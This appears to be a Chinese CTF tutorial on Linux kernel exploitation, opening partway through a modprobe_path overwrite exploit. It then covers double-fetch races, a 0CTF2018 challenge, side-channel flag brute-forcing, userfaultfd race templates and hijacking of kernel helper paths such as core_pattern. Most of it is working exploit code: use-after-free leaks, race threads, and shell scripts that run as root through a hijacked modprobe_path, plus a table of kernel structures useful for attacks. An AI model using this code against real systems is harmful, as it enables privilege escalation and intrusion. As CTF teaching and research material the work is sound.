* buf = malloc (0x500 ); int easy_fd; easy_fd = open("/dev/easy" , O_RDWR); alloc_buf(easy_fd, 0xa8 ); free_buf(easy_fd); read_buf(easy_fd, buf, 0xa8 ); size_t page_offset_base = buf[0 ] & 0xFFFFFFFFF0000000 ; printf ("[*] page_offset_base %p\n" , page_offset_base); buf[0 ] = page_offset_base + 0x9d000 - 0x10 ; write_buf(easy_fd, buf, 0x8 ); alloc_buf(easy_fd, 0xa8 ); alloc_buf(easy_fd, 0xa8 ); read_buf(easy_fd, buf, 0xa8 ); size_t kernel_offset = buf[2 ] - 0xFFFFFFFF81000110 ; printf ("[*] kernel offset: %p\n" , kernel_offset); modprobe_path += kernel_offset; buf[0 ] = modprobe_path - 0x20 ; alloc_buf(easy_fd, 0xa8 ); free_buf(easy_fd); write_buf(easy_fd, buf, 0x8 ); alloc_buf(easy_fd, 0xa8 ); alloc_buf(easy_fd, 0xa8 ); read_buf(easy_fd, buf, 0x20 ); strcpy ((char *) &buf[4 ], "/tmp/shell.sh\x00" ); write_buf(easy_fd, buf, 0x30 ); if (open("/tmp/shell.sh" , O_RDWR) < 0 ) { system("echo '#!/bin/sh' >> /tmp/shell.sh" ); system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh" ); system("chmod +x /shell.sh" ); } system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake" ); system("chmod +x /tmp/fake" ); system("/tmp/fake" ); return 0 ; }
内核条件竞争 通常情况下在用户态下的 pwn 当中我们只有一个独立运行的主线程,并不存在所谓条件竞争的情况,但在 kernel pwn 当中由攻击者负责编写用户态程序,可以很轻易地启动多个线程同时运行 ,从而轻易地产生条件竞争
double fetch 利用思路 double fetch
直译就是 取值两次
,直接理解就是在一次操作当中要两次(或是多次)重新获取某个对象的值 ,可能出现在下面这种情况当中:
有一大段数据要从用户空间传给内核空间,但是直接传送整块数据会造成较大的开销,故选择只向内核传送一个指向用户地址空间的指针
在后续的操作当中内核需要多次 通过该指针获取到用户空间的数据
一个典型的 Double Fetch 漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。
不难看出,若是整个操作流程过长,则用户进程便有机会修改这一块数据,使得内核在两次访问这块空间时所获得的数据不一致,从而使得内核进入不同的执行流程 ,用户进程甚至可以直接开新的线程进行竞争来实现这个效果
通过在 first fetch
与 second fetch
之间的空挡修改数据从而改变内核执行流的利用手法便被称之为double fetch
。
0CTF2018 Final baby kernel 题目分析 start.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/sh qemu-system-x86_64 \ -m 256M -smp 2,cores=2,threads=1 \ -kernel ./vmlinuz-4.15.0-22-generic \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -cpu qemu64 \ -monitor /dev/null \ -netdev user,id =t0, -device e1000,netdev=t0,id =nic0 \ -nographic \ -s
逆向分析
其中参数 0x6666
可以获得 flag 在内核中的地址,参数 0x1337
则会将我们传入的 flag 与真正的 flag 进行对比,若正确则会将 flag 打印出来,并且题目没有禁用dmesg
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 signed __int64 __fastcall baby_ioctl (__int64 a1, attr *a2) { attr *v2; int i; attr *v5; _fentry__(a1, a2); v5 = v2; if ( (_DWORD)a2 == 0x6666 ) { printk("Your flag is at %px! But I don't think you know it's content\n" , flag); return 0LL ; } else if ( (_DWORD)a2 == 0x1337 && !_chk_range_not_ok( (__int64)v2, 0x10 LL, *(_QWORD *)(__readgsqword((unsigned int )¤t_task) + 0x1358 )) && !_chk_range_not_ok( v5->flag_str, SLODWORD(v5->flag_len), *(_QWORD *)(__readgsqword((unsigned int )¤t_task) + 0x1358 )) && LODWORD(v5->flag_len) == strlen (flag) ) { for ( i = 0 ; i < strlen (flag); ++i ) { if ( *(_BYTE *)(v5->flag_str + i) != flag[i] ) return 0x16 LL; } printk("Looks like the flag is not a secret anymore. So here is it %s\n" , flag); return 0LL ; } else { return 0xE LL; } }
简单分析可知我们应当传入如下结构体,其中 flag_len
参数与 flag
的长度对比,在 .ko
文件中 flag
的长度为 33
。
1 2 3 4 00000000 attr struc ; (sizeof =0x10 , mappedto_3)00000000 flag_str dq ?00000008 flag_len dq ?00000010 attr ends
在 0x1337
功能当中还会通过 _chk_range_not_ok()
函数检查我们传入的地址范围是否合法,add
指令会影响 CF
(产生进位/借位)和 OF
(两数最高位相同,结果最高位改变)标志位,v3获得的就是两数相加的 CF 位,这里一般为0(除非你传入 0xffffffffffffffff
附近的数),所以我们直接看另一个判断:range 是否小于 v4。
range
为 current_task
的地址加上 0x1358
处所存地址,大概是 task_struct->thread->fpu->state
这个联合体内的某个位置上存的一个值,而 v4
则是我们传入的 flag
最后一个字节的地址,即我们传入的 flag
的地址不能够大于这个值且 root
调一下我们可以发现这个值为 0x7ffffffff000
。这个位置刚好是用户地址空间的栈底,即我们传入的 flag
的地址不能为用户地址空间外的地址。
1 2 3 4 5 6 7 8 9 bool __fastcall _chk_range_not_ok(__int64 flag_str, __int64 flag_len, unsigned __int64 range){ bool v3; unsigned __int64 v4; v3 = __CFADD__(flag_len, flag_str); v4 = flag_len + flag_str; return v3 || range < v4; }
利用思路 虽然 flag 存储的地址已知,但是位于内核地址空间当中,我们将之直接传给模块并不能通过验证,那么这里就考虑 double fetch——先传入一个用户地址空间上的合法地址,开另一个线程进行竞争不断修改其为内核空间 flag 的地址,只要有一次命中我们便能获得 flag。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <pthread.h> #include <string.h> pthread_t compete_thread;void * real_addr;char buf[0x20 ] = "arttnba3" ;int competetion_times = 0x1000 , status = 1 ;struct { char * flag_addr; int flag_len; }flag = {.flag_addr = buf, .flag_len = 33 }; void * competetionThread (void ) { while (status) { for (int i = 0 ; i < competetion_times; i++) flag.flag_addr = real_addr; } } int main (int argc, char ** argv, char ** envp) { int fd, result_fd, addr_fd; char * temp, *flag_addr_addr; fd = open("/dev/baby" , O_RDWR); ioctl(fd, 0x6666 ); system("dmesg | grep flag > addr.txt" ); temp = (char *) malloc (0x1000 ); addr_fd = open("./addr.txt" , O_RDONLY); temp[read(addr_fd, temp, 0x100 )] = '\0' ; flag_addr_addr = strstr (temp, "Your flag is at " ) + strlen ("Your flag is at " ); real_addr = strtoull(flag_addr_addr, flag_addr_addr + 16 , 16 ); printf ("[+] flag addr: %llx" , real_addr); pthread_create(&compete_thread, NULL , competetionThread, NULL ); while (status) { for (int i = 0 ; i < competetion_times; i++) { flag.flag_addr = buf; ioctl(fd, 0x1337 , &flag); } system("dmesg | grep flag > result.txt" ); result_fd = open("./result.txt" , O_RDONLY); read(result_fd, temp, 0x1000 ); if (strstr (temp, "flag{" )) status = 0 ; } pthread_cancel(compete_thread); printf ("[+] competetion end!" ); system("dmesg | grep flag" ); return 0 ; }
侧信道攻击 利用思路 在进行比对时并没有检验 flag 地址的合法性,考虑如下内存布局:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
我们将 flag 放在通过 mmap 分配而来的内存页的末尾,其最后一个字符 X
是我们将要爆破的未知字符
对于待比对字符 X
而言,若是比对失败则 ioctl 会直接返回,若是比对成功则指针移动到下一张内存页中进行解引用,此时将会直接造成 kernel panic
由于 flag 被硬编码在 .ko
文件中,故通过是否造成 kernel panic 可以逐字符爆破 flag 内容
ASCII 可见字符 95 个,flag 长度 33,开头 flag{
末尾 }
减去6个字符,最多只需要爆破 26 * 95 = 2470 次便能够获得 flag
比较需要耐心(因为打远程传文件很麻烦),这里附上一个比较方便的 exp,不用每次打都重新编译一次,只需要将 flag 作为参数传进去就行了:
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> struct { char * flag_addr; int flag_len; }flag = { .flag_len = 33 }; int main (int argc, char ** argv, char ** envp) { int fd, flag_len; char * buf, *flag_addr; if (argc < 2 ) { puts ("usage: ./exp flag" ); exit (-1 ); } flag_len = strlen (argv[1 ]); fd = open("/dev/baby" , O_RDWR); buf = (char *) mmap(NULL , 0x1000 , PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1 , 0 ); flag_addr = buf + 0x1000 - flag_len; memcpy (flag_addr, argv[1 ], flag_len); flag.flag_addr = flag_addr; ioctl(fd, 0x1337 , &flag); return 0 ; }
userfaultfd 利用思路 严格意义而言 userfaultfd 并非是一种利用手法,而是 Linux 的一个系统调用 ,简单来说,通过 userfaultfd 这种机制,用户可以通过自定义的 page fault handler 在用户态处理缺页异常
下面的这张图很好地体现了 userfaultfd 的整个流程:
要使用 userfaultfd 系统调用,我们首先要注册一个 userfaultfd,通过 ioctl 监视一块内存区域,同时还需要专门启动一个用以进行轮询的线程 uffd monitor
,该线程会通过 poll()
函数不断轮询直到出现缺页异常
当有一个线程在这块内存区域内触发缺页异常时(比如说第一次访问一个匿名页),该线程(称之为 faulting 线程)进入到内核中处理缺页异常
内核会调用 handle_userfault()
交由 userfaultfd 处理
随后 faulting 线程进入堵塞状态,同时将一个 uffd_msg
发送给 monitor 线程,等待其处理结束
monitor 线程调用通过 ioctl 处理缺页异常,有如下选项:
UFFDIO_COPY
:将用户自定义数据拷贝到 faulting page 上
UFFDIO_ZEROPAGE
:将 faulting page 置0
UFFDIO_WAKE
:用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKE
和 UFFDIO_ZEROPAGE_MODE_DONTWAKE
模式实现批量填充
在处理结束后 monitor 线程发送信号唤醒 faulting 线程继续工作
以上便是 userfaultfd 这个机制的整个流程,该机制最初被设计来用以进行虚拟机/进程的迁移等用途,但是通过这个机制我们可以控制进程执行流程的先后顺序,从而使得对条件竞争的利用成功率大幅提高
考虑在内核模块当中有一个菜单堆的情况,其中的操作都没有加锁,那么便存在条件竞争的可能,考虑如下竞争情况:
此时线程1便有可能编辑到被释放的堆块 ,若是此时恰好我们又将这个堆块申请到了合适的位置(比如说 tty_operations),那么我们便可以完成对该堆块的重写,从而进行下一步利用
但是毫无疑问的是,若是直接开两个线程进行竞争,命中的几率是比较低的,我们也很难判断是否命中
但假如线程1使用诸如 copy_from_user
、copy_to_user
等方法在用户空间与内核空间之间拷贝数据,那么我们便可以:
先用 mmap 分一块匿名内存,为其注册 userfaultfd,由于我们是使用 mmap 分配的匿名内存,此时该块内存并没有实际分配物理内存页
线程1在内核中在这块内存与内核对象间进行数据拷贝,在访问注册了 userfaultfd 内存时便会触发缺页异常,陷入阻塞,控制权转交 userfaultfd 的 uffd monitor 线程
在 uffd monitor 线程中我们便能对线程1正在操作的内核对象进行恶意操作 (例如覆写线程1正在读写的内核对象,或是将线程1正在读写的内核对象释放掉后再分配到我们想要的地方)
此时再让线程1继续执行,线程 1 便会向我们想要写入的目标写入特定数据/从我们想要读取的目标读取特定数据 了
由此,我们便成功利用 userfaultfd 完成了对条件竞争漏洞的利用,这项技术的存在使得条件竞争的命中率大幅提高
以下代码参考自 Linux man page,略有改动
首先定义接下来需要用到的一些数据结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <sys/types.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <poll.h> void errExit (char * msg) { puts (msg); exit (-1 ); } long uffd; char *addr; unsigned long len; pthread_t thr; struct uffdio_api uffdio_api ;struct uffdio_register uffdio_register ;
首先通过 userfaultfd 系统调用注册一个 userfaultfd,其中 O_CLOEXEC
和 O_NONBLOCK
和 open 的 flags 相同,笔者个人认为这里可以理解为我们创建了一个虚拟设备 userfault
这里用 mmap 分一个匿名页用作后续被监视的区域
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1 ) errExit("userfaultfd" ); uffdio_api.api = UFFD_API; uffdio_api.features = 0 ; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1 ) errExit("ioctl-UFFDIO_API" ); len = 0x1000 ; addr = (char *) mmap(NULL , len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); if (addr == MAP_FAILED) errExit("mmap" );
为这块内存区域注册 userfaultfd
1 2 3 4 5 6 7 8 9 /* Register the memory range of the mapping we just created for handling by the userfaultfd object. In mode, we request to track missing pages (i.e., pages that have not yet been faulted in). */ uffdio_register.range.start = (unsigned long) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER");
启动 monitor 轮询线程,整个 userfaultfd 的启动流程就结束了,接下来便是等待缺页异常的过程
1 2 3 4 5 /* Create a thread that will process the userfaultfd events */ int s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd); if (s != 0) { errExit("pthread_create"); }
monitor 轮询线程应当定义如下形式,这里给出的是 UFFD_COPY,即将自定义数据拷贝到 faulting page 上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 static int page_size;static void *fault_handler_thread (void *arg) { static struct uffd_msg msg ; static int fault_cnt = 0 ; long uffd; static char *page = NULL ; struct uffdio_copy uffdio_copy ; ssize_t nread; page_size = sysconf(_SC_PAGE_SIZE); uffd = (long ) arg; if (page == NULL ) { page = mmap(NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); if (page == MAP_FAILED) errExit("mmap" ); } for (;;) { struct pollfd pollfd ; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1 , -1 ); if (nready == -1 ) errExit("poll" ); printf ("\nfault_handler_thread():\n" ); printf (" poll() returns: nready = %d; " "POLLIN = %d; POLLERR = %d\n" , nready, (pollfd.revents & POLLIN) != 0 , (pollfd.revents & POLLERR) != 0 ); nread = read(uffd, &msg, sizeof (msg)); if (nread == 0 ) { printf ("EOF on userfaultfd!\n" ); exit (EXIT_FAILURE); } if (nread == -1 ) errExit("read" ); if (msg.event != UFFD_EVENT_PAGEFAULT) { fprintf (stderr , "Unexpected event on userfaultfd\n" ); exit (EXIT_FAILURE); } printf (" UFFD_EVENT_PAGEFAULT event: " ); printf ("flags = %llx; " , msg.arg.pagefault.flags); printf ("address = %llx\n" , msg.arg.pagefault.address); memset (page, 'A' + fault_cnt % 20 , page_size); fault_cnt++; uffdio_copy.src = (unsigned long ) page; uffdio_copy.dst = (unsigned long ) msg.arg.pagefault.address & ~(page_size - 1 ); uffdio_copy.len = page_size; uffdio_copy.mode = 0 ; uffdio_copy.copy = 0 ; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1 ) errExit("ioctl-UFFDIO_COPY" ); printf ("(uffdio_copy.copy returned %lld)\n" , uffdio_copy.copy); } }
有人可能注意到了 uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
这个奇怪的句子,在这里作用是将触发缺页异常的地址按页对齐 作为后续拷贝的起始地址
比如说触发的地址可能是 0xdeadbeef,直接从这里开始拷贝一整页的数据就拷歪了,应当从 0xdeadb000 开始拷贝(假设页大小 0x1000)
例程
测试例程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 #include <sys/types.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <poll.h> static int page_size;void errExit (char * msg) { printf ("[x] Error at: %s\n" , msg); exit (-1 ); } static void *fault_handler_thread (void *arg) { static struct uffd_msg msg ; static int fault_cnt = 0 ; long uffd; static char *page = NULL ; struct uffdio_copy uffdio_copy ; ssize_t nread; uffd = (long ) arg; if (page == NULL ) { page = mmap(NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); if (page == MAP_FAILED) errExit("mmap" ); } for (;;) { struct pollfd pollfd ; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1 , -1 ); if (nready == -1 ) errExit("poll" ); printf ("\nfault_handler_thread():\n" ); printf (" poll() returns: nready = %d; " "POLLIN = %d; POLLERR = %d\n" , nready, (pollfd.revents & POLLIN) != 0 , (pollfd.revents & POLLERR) != 0 ); nread = read(uffd, &msg, sizeof (msg)); if (nread == 0 ) { printf ("EOF on userfaultfd!\n" ); exit (EXIT_FAILURE); } if (nread == -1 ) errExit("read" ); if (msg.event != UFFD_EVENT_PAGEFAULT) { fprintf (stderr , "Unexpected event on userfaultfd\n" ); exit (EXIT_FAILURE); } printf (" UFFD_EVENT_PAGEFAULT event: " ); printf ("flags = %llx; " , msg.arg.pagefault.flags); printf ("address = %llx\n" , msg.arg.pagefault.address); memset (page, 'A' + fault_cnt % 20 , page_size); fault_cnt++; uffdio_copy.src = (unsigned long ) page; uffdio_copy.dst = (unsigned long ) msg.arg.pagefault.address & ~(page_size - 1 ); uffdio_copy.len = page_size; uffdio_copy.mode = 0 ; uffdio_copy.copy = 0 ; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1 ) errExit("ioctl-UFFDIO_COPY" ); printf (" (uffdio_copy.copy returned %lld)\n" , uffdio_copy.copy); } } int main (int argc, char ** argv, char ** envp) { long uffd; char *addr; unsigned long len; pthread_t thr; struct uffdio_api uffdio_api ; struct uffdio_register uffdio_register ; page_size = sysconf(_SC_PAGE_SIZE); uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1 ) errExit("userfaultfd" ); uffdio_api.api = UFFD_API; uffdio_api.features = 0 ; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1 ) errExit("ioctl-UFFDIO_API" ); len = 0x1000 ; addr = (char *) mmap(NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); if (addr == MAP_FAILED) errExit("mmap" ); uffdio_register.range.start = (unsigned long ) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1 ) errExit("ioctl-UFFDIO_REGISTER" ); int s = pthread_create(&thr, NULL , fault_handler_thread, (void *) uffd); if (s != 0 ) errExit("pthread_create" ); void * ptr = (void *) *(unsigned long long *) addr; printf ("Get data: %p\n" , ptr); return 0 ; }
起个虚拟机跑一下,我们可以看到在我们监视的匿名页内成功地被我们写入了想要的数据
新版本内核对抗 需要说明的是,自从 5.11 版本起内核 fs/userfaultfd.c
中全局变量 sysctl_unprivileged_userfaultfd
初始化为 1,这意味着只有 root 权限用户才能使用 userfaultfd 。
这是因为在较新版本的内核中修改了变量 sysctl_unprivileged_userfaultfd
的值:
来自 linux-5.11 源码fs/userfaultfd.c
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int sysctl_unprivileged_userfaultfd __read_mostly;SYSCALL_DEFINE1(userfaultfd, int , flags) { struct userfaultfd_ctx *ctx ; int fd; if (!sysctl_unprivileged_userfaultfd && (flags & UFFD_USER_MODE_ONLY) == 0 && !capable(CAP_SYS_PTRACE)) { printk_once(KERN_WARNING "uffd: Set unprivileged_userfaultfd " "sysctl knob to 1 if kernel faults must be handled " "without obtaining CAP_SYS_PTRACE capability\n" ); return -EPERM; }
来自 linux-5.4 源码fs/userfaultfd.c
:
1 2 int sysctl_unprivileged_userfaultfd __read_mostly = 1 ;
在之前的版本当中 sysctl_unprivileged_userfaultfd
这一变量被初始化为 1
,而在较新版本的内核当中这一变量并没有被赋予初始值,编译器会将其放在 bss 段,默认值为 0
这意味着在较新版本内核中只有 root 权限才能使用 userfaultfd ,这或许意味着刚刚进入大众视野的 userfaultfd 可能又将逐渐淡出大众视野,但不可否认的是,userfaultfd 确乎为我们在 Linux kernel 中的条件竞争利用提供了一个全新的思路与一种极其稳定的利用手法。
CTF 中的 userfaultfd 板子 userfaultfd 的整个操作流程比较繁琐,故笔者现给出如下板子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static pthread_t monitor_thread;void errExit (char * msg) { printf ("[x] Error at: %s\n" , msg); exit (EXIT_FAILURE); } void registerUserFaultFd (void * addr, unsigned long len, void (*handler)(void *)) { long uffd; struct uffdio_api uffdio_api ; struct uffdio_register uffdio_register ; int s; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1 ) errExit("userfaultfd" ); uffdio_api.api = UFFD_API; uffdio_api.features = 0 ; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1 ) errExit("ioctl-UFFDIO_API" ); uffdio_register.range.start = (unsigned long ) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1 ) errExit("ioctl-UFFDIO_REGISTER" ); s = pthread_create(&monitor_thread, NULL , handler, (void *) uffd); if (s != 0 ) errExit("pthread_create" ); }
在使用时直接调用即可:
1 registerUserFaultFd(addr, len, handler);
需要注意的是 handler 的写法,这里直接照抄 Linux man page 改了改,可以根据个人需求进行个性化改动:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 static char *page = NULL ; static long page_size;static void *fault_handler_thread (void *arg) { static struct uffd_msg msg ; static int fault_cnt = 0 ; long uffd; struct uffdio_copy uffdio_copy ; ssize_t nread; uffd = (long ) arg; for (;;) { struct pollfd pollfd ; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1 , -1 ); if (nready == -1 ) errExit("poll" ); nread = read(uffd, &msg, sizeof (msg)); if (nread == 0 ) errExit("EOF on userfaultfd!\n" ); if (nread == -1 ) errExit("read" ); if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd\n" ); uffdio_copy.src = (unsigned long ) page; uffdio_copy.dst = (unsigned long ) msg.arg.pagefault.address & ~(page_size - 1 ); uffdio_copy.len = page_size; uffdio_copy.mode = 0 ; uffdio_copy.copy = 0 ; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1 ) errExit("ioctl-UFFDIO_COPY" ); } }
setxattr + userfaultfd FUSE race punch hole 利用思路 exp Kernel Trick 修改符号链接
与modprobe_path类似,还有core_pattern,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static void validate_coredump_safety (void ) { #ifdef CONFIG_COREDUMP if (suid_dumpable == SUID_DUMP_ROOT && core_pattern[0 ] != '/' && core_pattern[0 ] != '|' ) { printk(KERN_WARNING "Unsafe core_pattern used with fs.suid_dumpable=2.\n" "Pipe handler or fully qualified core dump path required.\n" "Set kernel.core_pattern before fs.suid_dumpable.\n" ); } #endif }
poweroff_cmd,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 poweroff_work_func () { char v0; __int64 result; _fentry__(); v0 = poweroff_force; result = run_cmd(poweroff_cmd); if ( (_DWORD)result ) { if ( v0 ) { printk(&unk_FFFFFFFF81CB2888); emergency_sync(); return kernel_power_off(); } } return result; }
uevent_helper,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 uevent_helper_store () { __int64 v0; __int64 v1; __int64 v2; __int64 v3; _fentry__(); if ( (unsigned __int64)(v1 + 1 ) > 0x100 ) return -2LL ; v2 = v1; v3 = memcpy (uevent_helper, v0, v1); uevent_helper[v2] = 0 ; if ( !v2 || *(_BYTE *)(v3 + v2 - 1 ) != 10 ) return v2; *(_BYTE *)(v3 + v2 - 1 ) = 0 ; return v2; }
等也可以被修改。
当CONFIG_STATIC_USERMODEHELPER_PATH="y"
被设置后,无法使用这些方法。
当能够任意地址分配的时候,与 glibc 改 hook 类似,在内核中通常修改的是 modprobe_path
。modprobe_path
是内核中的一个变量,其值为 /sbin/modprobe
,因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe
字符串的方式定位这个变量。
当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:
1 2 3 4 5 6 7 8 9 entry_SYSCALL_64() sys_execve() do_execve() do_execveat_common() bprm_execve() exec_binprm() search_binary_handler() __request_module() call_modprobe()
其中 call_modprobe()
定义于 kernel/kmod.c
,我们主要关注这部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static int call_modprobe (char *module_name, int wait) { argv[0 ] = modprobe_path; argv[1 ] = "-q" ; argv[2 ] = "--" ; argv[3 ] = module_name; argv[4 ] = NULL ; info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL, NULL , free_modprobe_argv, NULL ); if (!info) goto free_module_name; return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
在这里调用了函数 call_usermodehelper_exec()
将 modprobe_path
作为可执行文件路径以 root 权限将其执行。 我们不难想到的是:若是我们能够劫持 modprobe_path
,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本。
或者分析vmlinux
即可(对于一些没有call_modprobe()
符号的直接交叉引用即可)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 __int64 _request_module( char a1, __int64 a2, double a3, double a4, double a5, double a6, double a7, double a8, double a9, double a10, ...) { ...... if ( v19 ) { ...... v21 = call_usermodehelper_setup( (__int64)&byte_FFFFFFFF82444700, (__int64)v18, (__int64)&off_FFFFFFFF82444620, 3264 , 0LL , (__int64)free_modprobe_argv, 0LL ); ...... } .data:FFFFFFFF82444700 byte_FFFFFFFF82444700 ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r .data:FFFFFFFF82444700 db 2F h ; / ; __request_module+14B ↑o ... .data:FFFFFFFF82444701 db 73 h ; s .data:FFFFFFFF82444702 db 62 h ; b .data:FFFFFFFF82444703 db 69 h ; i .data:FFFFFFFF82444704 db 6 Eh ; n .data:FFFFFFFF82444705 db 2F h ; / .data:FFFFFFFF82444706 db 6 Dh ; m .data:FFFFFFFF82444707 db 6F h ; o .data:FFFFFFFF82444708 db 64 h ; d .data:FFFFFFFF82444709 db 70 h ; p .data:FFFFFFFF8244470A db 72 h ; r .data:FFFFFFFF8244470B db 6F h ; o .data:FFFFFFFF8244470C db 62 h ; b .data:FFFFFFFF8244470D db 65 h ; e .data:FFFFFFFF8244470E db 0
从内存搜索 flag 从 /sys/kernel/notes 泄露内核地址 常见结构体的利用
结构体/能力
控制流劫持
泄露堆
泄露栈
泄露内核地址
结构体大小
cred
×
√
×
×
0xa8 (kmalloc-192)
tty_struct
√
√
×
√
0x2e0 (kmalloc-1024)
seq_operations
√
×
×
√
0x20 (kmalloc-32)
subprocess_info
√
√
×
√
0x60 (kmalloc-128)
pipe_buffer
√
×
×
√
0x280 (kmalloc-1024)
shm_file_data
×
√
×
√
0x20 (kmalloc-32)
msg_msg
×
√
×
x
0x31~0x1000 (>= kmalloc-64)
timerfd_ctx
×
√
×
√
0xf0 (kmalloc-256)
system V 消息队列 pipe 管道相关 io_uring 与异步 IO 相关